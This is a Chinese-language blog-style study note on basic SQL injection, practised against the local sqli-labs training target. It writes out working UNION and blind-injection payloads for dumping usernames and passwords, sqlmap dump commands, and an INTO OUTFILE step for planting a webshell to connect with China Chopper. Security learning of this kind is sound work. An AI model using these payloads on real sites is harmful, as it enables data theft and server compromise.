最近学习了一点sql注入的基础。对sql注入有了一点心得,写下学习笔记。
sql注入是利用url里输入参数来构造sql语句,以达到输出想要的数据。
学习sql注入就得有环境来进行注入测试,这里推荐使用sqli-labs-master,一个十分经典的sql注入靶机。电脑要有mysql、php环境,如果什么都没有,推荐下一个phpstudy来使用。
百度既有下载官网,这里是我版本的ui
上面集成了有mysql,web,php环境,可以说很方便了。
注意把php版本调成5.6以下,因为sqli-labs有一定年头了,里面的php语句并不适应最新版本
经典的注入靶机,去下面的网址下一个
sqli-labs-master
放到phpstudy网站根目录里
解压到目录,然后打开下方sql-connections文件夹
打开db-creds
填入数据库密码,一般是root,也可以去phpstudy里重置密码
打开浏览器,输入http://localhost/[sqli-labs-master的根目录]
应该会看到这个
点击setup那个选项,
会看到
如果报错就把php版本换成5.2,然后再试,
不然你注入测试时’会被自动转为’(单独调整太麻烦了)
总之,到这里就全部弄好了
在用sqli-labs-master测试学习了sql后,总结了几个基础的sql注入用法。
首先要知道怎么进行sql注入,sql注入是利用sql语句的漏洞,把原本用于正常查询的sql语句,改为自己想要的查询,得到数据库中的敏感信息,比如用户密码等。
那么怎么改写网站的sql语句呢?
一般网站查询用的sql语句是根据用户输入生成的,就有可操作的空间了,攻击者可以通过“奇怪的输入”把原本的查询闭合,并在后面连上一个新的查询,通过这个查询得到结果(密码等)。
首先要知道网站是否有注入漏洞。而漏洞又有几种类型,数字型,单双引号型,括号型。
根据网站的反馈,又有几种比较基础的类型,联合查询,盲注;盲注又有布尔型,时间型。
联合查询注入,要求网站要有回显,即会显示部分你查询的内容
比如id=1时,输出了id为1的用户的姓名和邮箱,这才有操作空间
把原本输出用户姓名和邮箱的地方,替换为你想要的数据
测试是否有漏洞,是那种类型的漏洞
比如网站原始输入是,
?id=1
这时候能得到正常结果
然后依次测试,
id=1‘ 即单引号型
id=1“ 双引号型
id=1) 括号型
id=1 [后面什么也不加,数字型]
比如当输入id=1‘ 出现异常,可以推测注入类型是单引号,那就从这里继续
id=1’ %23
注:%23是html编码里的#,是sql中的单行注释,用于注释掉后面的查询条件方便操作
若还有异常,有可能还带有)或者两个引号这类的,以此为基础重复上面的测试,比如构建id=1’)
最后可得到注入类型
得到注入类型之后,要求这个表有几列,后面才好操作 (以 id=1’ 为例)
id=1’ order by [数字] %23
当输入某个数字结果正常时,说明有[数字]列,比如order by 3 正常,说明有3列
接下来进行联合查询 union
把 前面的条件改为错误条件,比如id=-1’,或者id=1‘ and 0
加上union select 1,2,3 %23(有几列就写道几)
最后得到
id=-1’ union select 1,2,3 %23
回车进入,最后在原本显示名字,邮箱之类信息的地方,会显示数字,比如
姓名:2
邮箱:3
说明这两个位可以用来爆
找出替换了哪一位之后,用database()替换原本数字,可得出使用的数据库
Id=-1‘ union select 1,database(),3 %23
接下来要对mysql有一定认知了,sql中会把各个数据库拥有的表名,各个表拥有的列名,存储在information_schema 中,可以通过这个表得到更多信息
爆表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库名’%23
得到表名,爆你想要的表的列名
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘数据库名’ and table_name = '表名’%23
得到列名就输出想要的,如username和对应的password列
union select 1,2,group_concat(username,0x23,password) from 数据库名.表名%23
当网页没有回显,即无论你输入什么都不会输出相应信息
就要用到盲注,盲注又有布尔型和时间型,
当我们能得到错误反馈时,比如网站提示错误,本应显示的内容不显示等
用布尔型即可,
当不能得到错误反馈,即输入正确与否页面结果都一致时,用时间型
盲注需要知道几个函数,if(句子1,句子2,句子3),当句子1为真时,返回句子3,否则返回句子2;
length()得到字符长度
substr(string,int1,int2) //mid()也行
从string中int1位置截取int2个字符,
ascii(字符),得到字符的ascii码
和之前一致,不再赘述
?id=1’ and if(length(database())=??,句子,1) %23
时间型盲注和布尔型盲注的区别就在于[句子],当界面能得到错误反馈时,就可以用0,让页面错误,可以直接看出来,速度快些。
当得不到错误反馈,用时间型,句子换为sleep(5),通过页面异常卡顿来得知是否错误
??的地方依次测试数字,当不在反馈错误时,得到数据库名字长度,比如为4
?id=1’ and if(ascii(substr(database(),1,1))=??,sleep(5),1) %23
利用substr()截取数据库名字中的每一个字符,并和ascii表比照,
??处依次测试各个ascii码,当正确时,就知道这个字符是什么了
1’ and ascii(substr(database(),1,1))=119# w
1’ and ascii(substr(database(),2,1))=101# e
1’ and ascii(substr(database(),3,1))=98# b
1’ and ascii(substr(database(),4,1))=49# 1
这样就得到数据库名字web1
把每一个字符都测出来,也就得到库名了,再用information_schema,得到有几个表,再用同样的方法得到表名,有了表名得到列名,有了列名得到具体数据。整个过程异常繁琐,所以一般是用工具批处理的(自己写脚本 & 使用现成工具)
不过第一次学习,可以自己写写加强理解
下面结合sqli-labs-master的题目来学习这几种注入
上来先进入id=1,没问题
测试注入类型
id = 1’
直接报错,可以推测为’型注入
进一步加注释%23测试
果然,那么求列数
order by 3
对了,下一步
联合查询
得到
说明2,3是回显位,改这两个位继续操作
就可以得到数据库名
接下来按部就班得到所有用户和密码了
这几题只存在注入漏洞类型不同,其他步骤一致
2是数字型即 id=1 union …
3是’) 即id=1’) union…
4是“) 即id=1") union…
盲注,由于有错误提示,直接布尔型,慢慢测,这里用sqlmap工具直接跑了
不了解的可以搜sqlmap去学习使用,不过第一次学习还是按照上面的流程自己写一遍加深理解
爆数据库名:python2 sqlmap.py -u http://localhost/sqli/Less-5/?id=1
–technique T --dbms mysql --dbs --batch
爆表名:python2 sqlmap.py -u http://localhost/sqli/Less-5/?id=1 --technique T --dbms mysql -D security --tables --batch
爆列名:python2 sqlmap.py -u http://localhost/sqli/Less-5/?id=1 --technique T --dbms mysql -D security -T users --column --batch
爆内容:python2 sqlmap.py -u http://localhost/sqli/Less-5/?id=1 --technique T --dbms mysql -D security -T users -C username,password --dump --batch
基本相同,无外乎注入类型和盲注类型的不同,用sqlmap一通莽完事
有一个例外,这里不是盲注,是利用写文件权限,先试试有没有写入权限
?id=-1’)) union select 1,2,3 into outfile “D:\phpstudy\WWW\sqli\Less-7\try.php”–+
返回正常就有了
在被攻击者目录里写入文件,(简单来说就是插一个木马进去)。
union select 1,2,"" into outfile “D:\phpstudy\WWW\sqli\Less-7\try.php” %23
再用中国菜刀连一下(详细自行查询学习)
sql注入还有很多变种,路漫漫啊,不能骄傲大意,这些只是最基础的。
现在的网站已经没有多少sql注入漏洞了,这些基本是时代的眼泪。